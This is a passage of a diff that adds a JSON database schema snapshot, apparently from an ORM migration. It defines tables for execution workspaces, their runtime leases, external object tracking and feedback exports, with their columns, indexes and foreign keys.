+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk": {
+          "name": "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk",
+          "tableFrom": "execution_workspace_runtime_leases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "execution_workspace_runtime_leases_execution_workspace_id_unique": {
+          "name": "execution_workspace_runtime_leases_execution_workspace_id_unique",
+          "nullsNotDistinct": false,
+          "columns": [
+            "execution_workspace_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.execution_workspaces": {
+      "name": "execution_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "strategy_type": {
+          "name": "strategy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "base_ref": {
+          "name": "base_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "branch_name": {
+          "name": "branch_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_fs'"
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_from_execution_workspace_id": {
+          "name": "derived_from_execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "opened_at": {
+          "name": "opened_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "closed_at": {
+          "name": "closed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_eligible_at": {
+          "name": "cleanup_eligible_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_reason": {
+          "name": "cleanup_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "execution_workspaces_company_project_status_idx": {
+          "name": "execution_workspaces_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_project_workspace_status_idx": {
+          "name": "execution_workspaces_company_project_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_source_issue_idx": {
+          "name": "execution_workspaces_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_last_used_idx": {
+          "name": "execution_workspaces_company_last_used_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_used_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "execution_workspaces_company_branch_idx": {
+          "name": "execution_workspaces_company_branch_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "branch_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "execution_workspaces_company_id_companies_id_fk": {
+          "name": "execution_workspaces_company_id_companies_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_id_projects_id_fk": {
+          "name": "execution_workspaces_project_id_projects_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_project_workspace_id_project_workspaces_id_fk": {
+          "name": "execution_workspaces_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_source_issue_id_issues_id_fk": {
+          "name": "execution_workspaces_source_issue_id_issues_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "execution_workspaces_derived_from_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "execution_workspaces",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "derived_from_execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_object_mentions": {
+      "name": "external_object_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "property_key": {
+          "name": "property_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text_redacted": {
+          "name": "matched_text_redacted",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "sanitized_display_url": {
+          "name": "sanitized_display_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity": {
+          "name": "canonical_identity",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_id": {
+          "name": "object_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "detector_key": {
+          "name": "detector_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "confidence": {
+          "name": "confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "created_by_plugin_id": {
+          "name": "created_by_plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_object_mentions_company_source_issue_idx": {
+          "name": "external_object_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_object_idx": {
+          "name": "external_object_mentions_company_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_provider_idx": {
+          "name": "external_object_mentions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_record_uq": {
+          "name": "external_object_mentions_company_source_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is not null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_object_mentions_company_source_null_record_uq": {
+          "name": "external_object_mentions_company_source_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "property_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"external_object_mentions\".\"source_record_id\" is null and \"external_object_mentions\".\"canonical_identity_hash\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_object_mentions_company_id_companies_id_fk": {
+          "name": "external_object_mentions_company_id_companies_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_source_issue_id_issues_id_fk": {
+          "name": "external_object_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_object_id_external_objects_id_fk": {
+          "name": "external_object_mentions_object_id_external_objects_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "external_objects",
+          "columnsFrom": [
+            "object_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "external_object_mentions_created_by_plugin_id_plugins_id_fk": {
+          "name": "external_object_mentions_created_by_plugin_id_plugins_id_fk",
+          "tableFrom": "external_object_mentions",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "created_by_plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.external_objects": {
+      "name": "external_objects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_key": {
+          "name": "provider_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "object_type": {
+          "name": "object_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sanitized_canonical_url": {
+          "name": "sanitized_canonical_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "canonical_identity_hash": {
+          "name": "canonical_identity_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_key": {
+          "name": "display_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon_key": {
+          "name": "icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "display_title": {
+          "name": "display_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_key": {
+          "name": "status_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_label": {
+          "name": "status_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_icon_key": {
+          "name": "status_icon_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status_category": {
+          "name": "status_category",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "status_tone": {
+          "name": "status_tone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'neutral'"
+        },
+        "liveness": {
+          "name": "liveness",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "is_terminal": {
+          "name": "is_terminal",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "remote_version": {
+          "name": "remote_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "etag": {
+          "name": "etag",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_changed_at": {
+          "name": "last_changed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_at": {
+          "name": "last_error_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_refresh_at": {
+          "name": "next_refresh_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_started_at": {
+          "name": "refresh_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_code": {
+          "name": "last_error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error_message": {
+          "name": "last_error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "external_objects_company_provider_object_idx": {
+          "name": "external_objects_company_provider_object_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_provider_status_idx": {
+          "name": "external_objects_company_provider_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status_category",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_refresh_idx": {
+          "name": "external_objects_company_refresh_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_refresh_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_external_id_uq": {
+          "name": "external_objects_company_external_id_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "external_objects_company_identity_uq": {
+          "name": "external_objects_company_identity_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "canonical_identity_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "external_objects_company_id_companies_id_fk": {
+          "name": "external_objects_company_id_companies_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "external_objects_plugin_id_plugins_id_fk": {
+          "name": "external_objects_plugin_id_plugins_id_fk",
+          "tableFrom": "external_objects",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.feedback_exports": {
+      "name": "feedback_exports",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "feedback_vote_id": {
+          "name": "feedback_vote_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "vote": {
+          "name": "vote",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_only'"
+        },
+        "destination": {
+          "name": "destination",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "export_id": {
+          "name": "export_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consent_version": {
+          "name": "consent_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-envelope-v2'"
+        },
+        "bundle_version": {
+          "name": "bundle_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-bundle-v2'"
+        },
+        "payload_version": {
+          "name": "payload_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip-feedback-v1'"
+        },
+        "payload_digest": {
+          "name": "payload_digest",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload_snapshot": {
+          "name": "payload_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_summary": {
+          "name": "target_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "redaction_summary": {
+          "name": "redaction_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempted_at": {
+          "name": "last_attempted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exported_at": {
+          "name": "exported_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "feedback_exports_feedback_vote_idx": {
+          "name": "feedback_exports_feedback_vote_idx",
+          "columns": [
+            {
+              "expression": "feedback_vote_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_created_idx": {
+          "name": "feedback_exports_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_status_idx": {
+          "name": "feedback_exports_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_issue_idx": {
+          "name": "feedback_exports_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_project_idx": {
+          "name": "feedback_exports_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "feedback_exports_company_author_idx": {
+          "name": "feedback_exports_company_author_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "feedback_exports_company_id_companies_id_fk": {
+          "name": "feedback_exports_company_id_companies_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "feedback_exports_feedback_vote_id_feedback_votes_id_fk": {
+          "name": "feedback_exports_feedback_vote_id_feedback_votes_id_fk",
+          "tableFrom": "feedback_exports",
+          "tableTo": "feedback_votes",
+          "columnsFrom": [
+            "feedback_vote_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
